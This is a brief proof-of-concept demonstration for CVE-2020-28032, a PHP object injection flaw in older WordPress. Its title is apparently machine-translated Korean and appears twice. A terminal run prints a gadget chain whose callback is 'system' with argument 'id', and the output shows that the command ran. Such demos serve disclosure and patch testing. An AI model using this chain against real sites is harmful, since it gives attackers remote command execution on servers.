
CVE-2020-28032용 PoC (PHP Object Injection 악용을 위한 WordPress < 5.5.2의 POP 체인일 뿐입니다)
CVE-2020-28032용 PoC (PHP 객체 주입을 악용하기 위한 WordPress < 5.5.2의 POP 체인일 뿐입니다)
nth347@ubuntu:~$ php CVE-2020-28032_PoC.php
WC_Log_Handler_File Object
(
[handles:protected] => Requests_Utility_FilteredIterator Object
(
[callback:protected] => system
[storage:ArrayIterator:private] => Array
(
[0] => id
)
)
)
uid=1000(nth347) gid=1000(nth347) groups=1000(nth347),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)